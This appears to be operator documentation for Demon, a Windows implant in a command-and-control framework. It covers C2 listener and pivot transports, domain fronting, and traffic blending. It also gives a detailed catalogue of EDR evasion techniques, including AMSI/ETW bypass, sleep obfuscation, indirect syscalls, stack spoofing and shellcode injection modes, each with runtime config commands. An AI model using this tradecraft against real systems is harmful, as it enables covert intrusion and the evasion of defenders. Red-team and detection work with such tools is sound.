Mugen無限 Mugen
/
Agent - Windows

Demon

鬼

Demon

Demon is the default Windows agent for the Mugen C2 framework.

Demon is written in C and x64 ASM, compiled with MinGW, and runs on Windows 7 / Server 2008 R2 and later (x64). It ships as a reflective DLL, a standalone EXE, or a Windows Service binary.

Key features

  • File system operations (ls, cat, upload, download, mkdir, rm, cp, mv)
  • Process management (list, kill, create, module list, memory scan)
  • Token manipulation and tracking
  • BOF (Beacon Object File) execution via CoffeeLdr
  • .NET assembly execution
  • Shellcode injection (spawn / inject / execute modes)
  • Token steal and impersonation
  • Network recon via Win32 APIs (no LDAP)
  • Kerberos operations (klist, pass-the-ticket, purge)
  • SMB named pipe and TCP pivoting
  • SOCKS5 proxy and reverse port forwarding
  • Sleep obfuscation (Ekko, Zilean, Foliage)
  • AMSI and ETW bypass via hardware breakpoints
  • Indirect syscalls

Credits

Demon is based on Havoc by @C5pider, published under GPL-3.0. Mugen extends it with additional features and maintenance.

Demon supports two built-in transports: HTTP/HTTPS and SMB named pipe. The transport is selected at build time; a compiled Demon binary uses exactly one transport.


HTTP / HTTPS listener

The HTTP listener is the primary internet-facing transport. HTTPS is the same listener with TLS enabled.

Listener fields

FieldDescription
NameInternal label for the listener (shown in the teamserver UI)
Bind hostIP/interface the teamserver listens on
Bind portPort the teamserver listens on
HostsOne or more C2 hostnames or IPs the implant will call back to
Port (conn)Port the implant connects to (may differ from bind port behind a redirector)
MethodHTTP verb: GET or POST
URIsOne or more URI paths (e.g. /updates, /cdn/assets/bundle.js)
Host headerHost: header value to send with every request (for CDN/domain-fronting)
User-AgentUser-Agent header value
HeadersAdditional arbitrary HTTP headers (Header: Value per line)
Host rotationround-robin or random - cycling strategy when a host fails
Behind redirectorWhen enabled, the teamserver trusts X-Forwarded-For
Kill dateUnix timestamp (UTC) after which the implant exits
Working hoursTime window (HH:MM-HH:MM) outside which the implant sleeps

HTTPS / TLS

Enable Secure to use TLS. Two options:

  • Self-signed: Mugen generates a certificate automatically at listener start.
  • Custom cert/key: Provide PEM paths in the listener config. Required for production deployments; browsers and proxies will flag self-signed certificates.

TLS termination happens at the teamserver. If you use a redirector (nginx, Apache, Caddy), terminate TLS there and forward plain HTTP to the teamserver on a loopback port.

Proxy support

Demon can route egress traffic through a proxy. Configured at build time via the builder UI, it can also be updated at runtime:

config proxy <type> <host> <port> [username] [password]
Proxy typeExample
httpCorporate HTTP proxy
socks5SOCKS5 proxy

If no explicit proxy is configured, Demon automatically discovers the system proxy via WinHTTP (WinHttpGetIEProxyConfigForCurrentUser).

Host rotation

When multiple Hosts are configured, Demon cycles between them on connection failure.

StrategyBehaviour
round-robinTry hosts in order; advance after HostMaxRetries consecutive failures
randomPick a random host each time

A host is marked dead after HostMaxRetries consecutive failures. If all hosts are dead, Demon stops checking in and waits until the next sleep cycle to try again.

Request anatomy

Every check-in is a single HTTP request. The body is AES-256 encrypted with a session key negotiated during the initial handshake.

POST /cdn/assets/bundle.js HTTP/1.1
Host: cdn.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) ...
X-Custom-Header: value
Content-Type: application/octet-stream

<AES-256 encrypted body>

The teamserver responds with the job queue, also AES-256 encrypted. If there are no pending jobs the response body is empty (just a 200 OK).

Internet → nginx/Caddy (TLS, profile match) → teamserver (127.0.0.1:<bind-port>)

Use URI-based filtering in the redirector to forward only requests that match your configured URIs; drop everything else with a 404 or redirect to a legitimate site. This keeps the teamserver invisible to scanners.


SMB named pipe (pivot transport)

The SMB listener enables peer-to-peer chaining: a Demon on a network segment without direct internet access connects to a sibling Demon that does have C2 reach, using a Windows named pipe over SMB.

Listener fields

FieldDescription
NameInternal label
Pipe nameNamed pipe path (e.g. \\.\pipe\msagent_ee3f)
Kill dateSame as HTTP
Working hoursSame as HTTP

How it works

  1. A "parent" Demon (with HTTP/HTTPS C2 reach) connects to a "child" Demon's named pipe via pivot smb connect.
  2. The child Demon was generated with TRANSPORT_SMB and is waiting for a pipe connection.
  3. Once connected, the teamserver routes traffic for the child through the parent's HTTP session.
  4. The child appears as a separate agent in the client UI, nested under the parent.

Named pipes traverse SMB (TCP 445). Useful in environments where workstations can reach each other but not the internet directly.

Pipe name recommendations

The default pipe name is randomised by the builder (e.g. msagent_<hex>). To blend with the environment, use names matching legitimate Windows services:

  • \pipe\svcctl
  • \pipe\wkssvc
  • \pipe\srvsvc

Custom pipe names can be set in the listener config before building.


TCP pivot

The TCP pivot is similar to SMB but uses raw TCP instead of named pipes. Useful when SMB (port 445) is blocked between hosts but other TCP ports are open.

FieldDescription
Pivot hostIP the parent Demon connects to (the child's IP)
Pivot portTCP port the child listens on

See pivot tcp listen and pivot tcp connect for runtime usage.


Profile tips

Blending with legitimate traffic

  • Set User-Agent to a real browser UA matching the target environment.
  • Use URIs that look like static assets: /js/app.bundle.js, /assets/logo.png.
  • Add a Referer header pointing to a plausible origin site.
  • Keep sleep high during business hours to match expected traffic bursts.

CDN / domain fronting

Set Host (listener host) to a CDN IP or hostname you control, and set Host header to the fronted domain. The CDN forwards traffic to the teamserver based on the Host: header the implant sends.

Kill date and working hours

Both constraints are enforced on the implant side (no teamserver required). If the kill date passes, or a check-in is attempted outside working hours, Demon sleeps until the next valid window or exits if past the kill date.

Demon was not designed to bypass AV or EDR products out of the box - and that is intentional. Mugen does not play the cat-and-mouse game with vendors. Demon is built to be malleable and modular so operators can adapt it using their own loaders, packers, crypters, and stagers. The primitives documented here are a baseline - not a guarantee of evasion against any specific product.

This page documents the evasion primitives built into Demon. Each technique can be configured at build time (in the payload builder) or adjusted at runtime with the config command.


API resolution

Demon resolves all Win32 and Native API functions at runtime from the PEB. There are no static imports and no IAT entries. The loader walks the in-memory module list (PEB->Ldr), hashes each export name with a custom algorithm, and matches against compile-time constants.

This means:

  • dumpbin /exports demon.dll shows no suspicious imports.
  • Import-scanning tools (PE-Sieve, Moneta, AV import heuristics) find nothing.
  • Any API can be resolved from any DLL without touching the disk.

Indirect syscalls

When SysIndirect is enabled (default), Demon never calls NT functions directly. Instead:

  1. It locates the syscall; ret gadget inside ntdll.dll at runtime.
  2. For each NT call, it sets up arguments normally and then jumps to the gadget instead of calling the function's entry point.

The result: the CPU's call stack shows a return address inside ntdll, not inside the implant. ETW kernel tracing and stack-based EDR telemetry see a legitimate call chain.

Toggle at runtime:

config inject-technique 2   # Syscall (default)
config inject-technique 1   # Win32 (no indirect syscall)

Sleep obfuscation

During sleep, Demon encrypts its own memory to defeat in-memory scanning tools (PE-Sieve, Moneta, BeaconEye, Yara rules). Three techniques are available.

Ekko (default)

ROP-based sleep using RtlCreateTimerQueue and SystemFunction032 (XOR encrypt):

  1. Sets up a ROP chain on the current thread's stack.
  2. Queues a timer that fires after the sleep interval.
  3. The ROP chain: RtlCaptureContext → encrypt memory → WaitForSingleObject → decrypt memory → restore context.

Memory is XOR-encrypted with a random key while the timer is pending. No new threads are created.

Zilean

Timer-based sleep using RtlRegisterWait:

  1. Registers a wait object on an event with the sleep timeout.
  2. The callback encrypts/decrypts memory around the wait.

Similar to Ekko but uses a different timer API path, offering variation against signature-based detection.

Foliage

NtWaitForSingleObject-based sleep:

  1. Creates an alertable wait on the main thread.
  2. Queues an APC that encrypts memory, then sleeps.
  3. A second APC decrypts and signals completion.

Uses alertable waits (APC-based) rather than timer queues.

Configuring the technique

In the builder UI, select the technique before generating the payload. To change it at runtime:

config sleep-technique 1   # Ekko
config sleep-technique 2   # Zilean
config sleep-technique 3   # Foliage
config sleep-mask off       # Disable entirely (plaintext in memory during sleep)

Call stack duplication

Before sleeping, Demon duplicates its current call stack into a fresh stack frame that looks like a legitimate thread (e.g. a worker thread blocked on WaitForSingleObject inside ntdll). On wake, the real stack is restored.

This defeats stack-inspection tools that look for implant code in call frames.

The thread start address can also be spoofed to point to a legitimate function:

config thread-start-addr kernelbase.dll BaseThreadInitThunk

Similarly, injection threads can have their start address spoofed:

config inject-spoof-addr ntdll.dll RtlUserThreadStart

AMSI and ETW bypass

Demon can disable AMSI (Anti-Malware Scan Interface) and ETW (Event Tracing for Windows) using one of two methods.

Uses the CPU debug registers (DR0-DR3) to intercept calls to AmsiScanBuffer and NtTraceEvent. When the patched function is called, a hardware breakpoint fires, and Demon's vectored exception handler intercepts the call and returns a clean result.

  • No memory patches. The functions remain unmodified on disk and in memory.
  • Bypasses integrity-checking tools that scan for patched bytes.

Set in the builder or at runtime:

config amsi-etw hwbp

The HWBP engine is implemented in src/core/HwBpEngine.c.

Method 2: Memory patch

Patches the first bytes of AmsiScanBuffer and NtTraceEvent with a ret instruction (classic AMSI patch). Simple and effective but leaves detectable byte-level indicators.

config amsi-etw patch

Disable

config amsi-etw none

Proxy loading (DLL injection into sacrifice process)

The Proxy Loading option controls how Demon's reflective DLL is executed in the sacrifice process during fork-and-run operations. Three NT API paths are available:

OptionAPI used
RtlRegisterWaitRtlRegisterWait (NT timer)
RtlCreateTimerRtlCreateTimer + RtlCreateTimerQueue
RtlQueueWorkItemRtlQueueWorkItem (thread pool)

These are alternatives to the obvious CreateRemoteThread/NtCreateThreadEx paths that EDRs monitor closely.


Memory allocation

Controls how Demon allocates RWX/RW memory for injected code.

ModeAPINotes
NtAllocate (default)NtAllocateVirtualMemoryCalled via indirect syscall; no VirtualAllocEx in call stack
Win32VirtualAllocExStandard Win32 path; simpler but more monitored
config memory-alloc 1   # NtAllocate
config memory-alloc 2   # VirtualAllocEx

Injection techniques

Controls how Demon writes shellcode into a remote process and triggers execution.

TechniqueWrite APIExecute APINotes
Win32 (1)WriteProcessMemoryCreateRemoteThreadBaseline; heavily monitored
Syscall (2, default)NtWriteVirtualMemoryNtCreateThreadExIndirect syscalls; harder to hook
APC (3)NtWriteVirtualMemoryNtQueueApcThreadEarly-bird APC injection; fires before process entry point
config inject-technique 1   # Win32
config inject-technique 2   # Syscall
config inject-technique 3   # APC

BOF execution modes

Threaded BOF (default)

BOFs run in a new thread, registered as a background job. The beacon thread is not blocked. The new thread's start address is spoofed.

VEH (Vectored Exception Handler)

Installs a VEH before running the BOF. If the BOF triggers an exception (common with BOFs that call NT APIs that return errors), the VEH catches it and reports it back rather than crashing the implant.

config coffee-threaded on
config coffee-veh on

Fork-and-run (spawn mode)

Operations that cannot safely run in the implant process (shellcode injection, some BOFs, dotnet inline-execute) can be run in a sacrificial process spawned for the purpose.

The spawn process defaults to %windir%\System32\notepad.exe. Change it to a process that is expected in the target environment:

config spawn64 C:\Windows\System32\svchost.exe -k netsvcs -p
config spawn32 C:\Windows\SysWOW64\notepad.exe

DLL export randomisation

The builder patches the reflective DLL's export function name with a random string at build time. The default Havoc export (ReflectiveLoader), a well-known IOC, is never present in a Mugen payload.

The random name is re-generated each time you click Generate in the builder.


Summary matrix

TechniqueDefaultConfigurable at runtime
Indirect syscallsOnYes (inject-technique)
Sleep obfuscationEkkoYes (sleep-technique)
Sleep maskingOnYes (sleep-mask)
Stack duplicationOn-
Thread start address spoofOffYes (thread-start-addr)
Inject start address spoofOffYes (inject-spoof-addr)
AMSI/ETW bypassHWBPYes (amsi-etw)
Memory allocationNtAllocateYes (memory-alloc)
BOF threaded executionOnYes (coffee-threaded)
BOF VEHOffYes (coffee-veh)
DLL export randomisationOnBuild time only
PEB-based API resolutionOn-